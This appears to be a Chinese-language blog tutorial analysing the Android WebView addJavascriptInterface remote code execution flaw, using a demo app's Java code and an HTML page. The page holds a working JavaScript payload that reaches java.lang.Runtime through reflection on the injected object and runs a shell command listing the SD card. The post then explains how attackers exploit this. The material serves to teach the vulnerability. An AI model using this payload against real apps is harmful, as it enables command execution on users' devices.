Android WebView遠程代碼執行漏洞簡析

Android WebView遠程代碼執行漏洞簡析

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本文參考Android WebView 遠程代碼執行漏洞簡析。代碼地址為，https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo。下面我們分析代碼。

 

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首先列出項目工程目錄：

MainActivity.java的代碼如下：

 

public class MainActivity extends Activity {
	private WebView webView;
	private Uri mUri;
	private String url;
	//String mUrl1 = "file:///android_asset/html/attack_file.html";
	String mUrl2 = "file:///android_asset/html/test.html";

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		webView = (WebView) findViewById(R.id.webview);
		webView.getSettings().setJavaScriptEnabled(true);
		webView.addJavascriptInterface(new JSInterface(), "jsInterface");
		//webView.getSettings().setAllowFileAccessFromFileURLs(true);
		webView.setWebChromeClient(new WebChromeClient() {
			@Override
			    public boolean onJsAlert(WebView view, String url, String message,JsResult result) {
			    //Required functionality here
			    return super.onJsAlert(view, url, message, result);
			}
		});
		webView.loadUrl(mUrl2);
	}
	
	
    class JSInterface {
        public String onButtonClick(String text) {
            final String str = text;
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    Log.e("leehong2", "onButtonClick: text = " + str);
                    Toast.makeText(getApplicationContext(), "onButtonClick: text = " + str, Toast.LENGTH_LONG).show();
                }
            });
            
            return "This text is returned from Java layer.  js text = " + text;
        }
        
        public void onImageClick(String url, int width, int height) {
            final String str = "onImageClick: text = " + url + "  width = " + width + "  height = " + height;
            Log.i("leehong2", str);
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();
                }
            });
        }
    }

}

其中下面的代碼設置了，webView加載的html裡面可以通過javaScript與java代碼交互。

 

 

webView.getSettings().setJavaScriptEnabled(true);
		webView.addJavascriptInterface(new JSInterface(), "jsInterface");

 

 

我們接著看加載的html文件，它位於aessets目錄下。

webView.loadUrl(mUrl2);

 

test.html如下：

 

<script> var i=0; function getContents(inputStream) { var contents = ""+i; var b = inputStream.read(); var i = 1; while(b != -1) { var bString = String.fromCharCode(b); contents += bString; contents += "\n" b = inputStream.read(); } i=i+1; return contents; } function execute(cmdArgs) { for (var obj in window) { console.log(window[obj]); if ("getClass" in window[obj]) { alert(obj); return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } } } var p = execute(["ls","/mnt/sdcard/"]); document.write(getContents(p.getInputStream())); </script><script language="javascript"> function onButtonClick() { // Call the method of injected object from Android source. var text = jsInterface.onButtonClick("從JS中傳遞過來的文本！！！"); alert(text); } function onImageClick() { //Call the method of injected object from Android source. var src = document.getElementById("image").src; var width = document.getElementById("image").width; var height = document.getElementById("image").height; // Call the method of injected object from Android source. jsInterface.onImageClick(src, width, height); } </script>

點擊圖片把URL傳到Java代碼

 

與Java代碼交互關於html和javaScript的介紹，請參考http://www.w3school.com.cn/html/html_getstarted.asp。

 

這裡面造成漏洞的主要原因在如下代碼：

 

function execute(cmdArgs)
       {
        for (var obj in window) {
            console.log(window[obj]);
            if ("getClass" in window[obj]) {
                alert(obj);
                return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
             }
         }
       } 
      
      var p = execute(["ls","/mnt/sdcard/"]);

攻擊者可以找到存在“getClass”方法的對象，然後通過反射的機制，得到Java Runtime對象，然後調用靜態方法來執行系統命令。從而造成危害。

 

這個程序的詳細功能請自己下載代碼運行後便知。